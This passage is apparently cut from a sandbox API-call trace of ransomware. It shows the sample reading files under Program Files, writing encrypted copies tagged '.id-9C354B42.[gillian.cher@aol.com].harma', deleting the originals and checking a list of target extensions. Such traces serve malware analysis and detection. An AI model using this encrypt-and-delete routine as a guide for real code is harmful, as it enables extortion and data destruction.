lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=2821) returned 1 [0065.770] CloseHandle (hObject=0x214) returned 1 [0065.770] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png")) returned 0x20 [0065.770] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.770] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.770] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png") returned 65 [0065.770] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png") returned 65 [0065.770] lstrlenW (lpString=".doc") returned 4 [0065.770] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.770] lstrlenW (lpString=".docx") returned 5 [0065.770] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0065.770] lstrlenW (lpString=".pdf") returned 4 [0065.770] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.771] lstrlenW (lpString=".xls") returned 4 [0065.771] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.771] lstrlenW (lpString=".xlsx") returned 5 [0065.771] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0065.771] lstrlenW (lpString=".ppt") returned 4 [0065.771] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.771] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png") returned 65 [0065.771] lstrlenW (lpString=".zip") returned 4 [0065.771] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.771] lstrlenW (lpString=".rar") returned 4 [0065.771] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.771] lstrlenW (lpString=".bz2") returned 4 [0065.771] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.771] lstrlenW (lpString=".7z") returned 3 [0065.771] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.771] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png") returned 65 [0065.771] lstrlenW (lpString=".dbf") returned 4 [0065.771] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.788] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.788] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0065.789] GetLastError () returned 0x0 [0065.789] ReadFile (in: hFile=0x214, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x4360, lpOverlapped=0x0) returned 1 [0065.790] WriteFile (in: hFile=0x20c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x4370, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x4370, lpOverlapped=0x0) returned 1 [0065.792] ReadFile (in: hFile=0x214, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.792] WriteFile (in: hFile=0x20c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0065.792] SetEndOfFile (hFile=0x20c) returned 1 [0065.792] CloseHandle (hObject=0x20c) returned 1 [0065.792] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.792] SetEndOfFile (hFile=0x214) returned 1 [0065.793] CloseHandle (hObject=0x214) returned 1 [0065.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 1 [0065.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0065.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0065.794] lstrlenW (lpString=".doc") returned 4 [0065.794] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0065.794] lstrlenW (lpString=".docx") returned 5 [0065.794] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0065.794] lstrlenW (lpString=".pdf") returned 4 [0065.794] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0065.794] lstrlenW (lpString=".xls") returned 4 [0065.794] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0065.794] lstrlenW (lpString=".xlsx") returned 5 [0065.794] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0065.794] lstrlenW (lpString=".ppt") returned 4 [0065.794] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0065.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0065.794] lstrlenW (lpString=".zip") returned 4 [0065.794] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0065.794] lstrlenW (lpString=".rar") returned 4 [0065.794] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0065.794] lstrlenW (lpString=".bz2") returned 4 [0065.794] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0065.794] lstrlenW (lpString=".7z") returned 3 [0065.794] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0065.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0065.794] lstrlenW (lpString=".dbf") returned 4 [0065.794] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0065.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0065.795] lstrlenW (lpString=".1cd") returned 4 [0065.795] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0065.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0065.795] lstrlenW (lpString=".jpg") returned 4 [0065.795] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0065.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0065.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0065.795] lstrlenW (lpString=".doc") returned 4 [0065.795] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0065.795] lstrlenW (lpString=".docx") returned 5 [0065.795] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0065.795] lstrlenW (lpString=".pdf") returned 4 [0065.795] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0065.795] lstrlenW (lpString=".xls") returned 4 [0065.795] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0065.795] lstrlenW (lpString=".xlsx") returned 5 [0065.795] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0065.795] lstrlenW (lpString=".ppt") returned 4 [0065.795] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0065.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0065.795] lstrlenW (lpString=".zip") returned 4 [0065.795] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0065.795] lstrlenW (lpString=".rar") returned 4 [0065.795] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0065.795] lstrlenW (lpString=".bz2") returned 4 [0065.795] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0065.795] lstrlenW (lpString=".7z") returned 3 [0065.795] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0065.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0065.796] lstrlenW (lpString=".dbf") returned 4 [0065.796] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0065.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0065.796] lstrlenW (lpString=".1cd") returned 4 [0065.796] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0065.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0065.796] lstrlenW (lpString=".jpg") returned 4 [0065.796] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0065.796] lstrcmpiW (lpString1=".xsl", lpString2=".harma") returned 1 [0065.914] lstrlenW (lpString="as90.xsl") returned 8 [0065.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.085] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=18738) returned 1 [0066.085] CloseHandle (hObject=0x214) returned 1 [0066.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0x20 [0066.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.112] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.112] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0066.160] GetLastError () returned 0x0 [0066.160] ReadFile (in: hFile=0x214, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x4932, lpOverlapped=0x0) returned 1 [0066.171] WriteFile (in: hFile=0x20c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x4940, lpOverlapped=0x0) returned 1 [0066.173] ReadFile (in: hFile=0x214, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.173] WriteFile (in: hFile=0x20c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0066.174] SetEndOfFile (hFile=0x20c) returned 1 [0066.174] CloseHandle (hObject=0x20c) returned 1 [0066.174] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.174] SetEndOfFile (hFile=0x214) returned 1 [0066.175] CloseHandle (hObject=0x214) returned 1 [0066.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 1 [0066.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0066.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0066.175] lstrlenW (lpString=".doc") returned 4 [0066.175] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0066.175] lstrlenW (lpString=".docx") returned 5 [0066.175] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0066.175] lstrlenW (lpString=".pdf") returned 4 [0066.175] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0066.176] lstrlenW (lpString=".xls") returned 4 [0066.176] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0066.176] lstrlenW (lpString=".xlsx") returned 5 [0066.176] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0066.176] lstrlenW (lpString=".ppt") returned 4 [0066.176] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0066.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0066.176] lstrlenW (lpString=".zip") returned 4 [0066.176] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0066.176] lstrlenW (lpString=".rar") returned 4 [0066.176] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0066.176] lstrlenW (lpString=".bz2") returned 4 [0066.176] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0066.176] lstrlenW (lpString=".7z") returned 3 [0066.176] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0066.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0066.176] lstrlenW (lpString=".dbf") returned 4 [0066.176] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0066.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0066.176] lstrlenW (lpString=".1cd") returned 4 [0066.176] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0066.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0066.176] lstrlenW (lpString=".jpg") returned 4 [0066.176] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0066.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0066.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0066.177] lstrlenW (lpString=".doc") returned 4 [0066.177] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0066.177] lstrlenW (lpString=".docx") returned 5 [0066.177] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0066.177] lstrlenW (lpString=".pdf") returned 4 [0066.177] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0066.177] lstrlenW (lpString=".xls") returned 4 [0066.177] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0066.177] lstrlenW (lpString=".xlsx") returned 5 [0066.177] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0066.177] lstrlenW (lpString=".ppt") returned 4 [0066.177] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0066.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0066.177] lstrlenW (lpString=".zip") returned 4 [0066.177] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0066.177] lstrlenW (lpString=".rar") returned 4 [0066.177] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0066.177] lstrlenW (lpString=".bz2") returned 4 [0066.177] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0066.177] lstrlenW (lpString=".7z") returned 3 [0066.177] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0066.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0066.177] lstrlenW (lpString=".dbf") returned 4 [0066.177] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0066.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0066.177] lstrlenW (lpString=".1cd") returned 4 [0066.177] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0066.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0066.177] lstrlenW (lpString=".jpg") returned 4 [0066.177] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0066.178] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.178] lstrlenW (lpString="AG00130_.GIF") returned 12 [0066.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.178] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=5253) returned 1 [0066.178] CloseHandle (hObject=0x214) returned 1 [0066.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0066.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.178] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.178] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0066.179] GetLastError () returned 0x0 [0066.179] ReadFile (in: hFile=0x214, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x1485, lpOverlapped=0x0) returned 1 [0066.181] WriteFile (in: hFile=0x20c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0066.182] ReadFile (in: hFile=0x214, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.182] WriteFile (in: hFile=0x20c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.182] SetEndOfFile (hFile=0x20c) returned 1 [0066.182] CloseHandle (hObject=0x20c) returned 1 [0066.182] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.182] SetEndOfFile (hFile=0x214) returned 1 [0066.183] CloseHandle (hObject=0x214) returned 1 [0066.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0066.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0066.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0066.183] lstrlenW (lpString=".doc") returned 4 [0066.183] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.183] lstrlenW (lpString=".docx") returned 5 [0066.183] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.184] lstrlenW (lpString=".pdf") returned 4 [0066.184] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.184] lstrlenW (lpString=".xls") returned 4 [0066.184] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.184] lstrlenW (lpString=".xlsx") returned 5 [0066.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.184] lstrlenW (lpString=".ppt") returned 4 [0066.184] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0066.184] lstrlenW (lpString=".zip") returned 4 [0066.184] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.184] lstrlenW (lpString=".rar") returned 4 [0066.184] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.184] lstrlenW (lpString=".bz2") returned 4 [0066.184] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.184] lstrlenW (lpString=".7z") returned 3 [0066.184] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0066.184] lstrlenW (lpString=".dbf") returned 4 [0066.184] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0066.184] lstrlenW (lpString=".1cd") returned 4 [0066.184] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0066.184] lstrlenW (lpString=".jpg") returned 4 [0066.184] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0066.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0066.184] lstrlenW (lpString=".doc") returned 4 [0066.184] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.184] lstrlenW (lpString=".docx") returned 5 [0066.184] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.185] lstrlenW (lpString=".pdf") returned 4 [0066.185] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.185] lstrlenW (lpString=".xls") returned 4 [0066.185] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.185] lstrlenW (lpString=".xlsx") returned 5 [0066.185] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.185] lstrlenW (lpString=".ppt") returned 4 [0066.185] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0066.185] lstrlenW (lpString=".zip") returned 4 [0066.185] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.185] lstrlenW (lpString=".rar") returned 4 [0066.185] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.185] lstrlenW (lpString=".bz2") returned 4 [0066.185] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 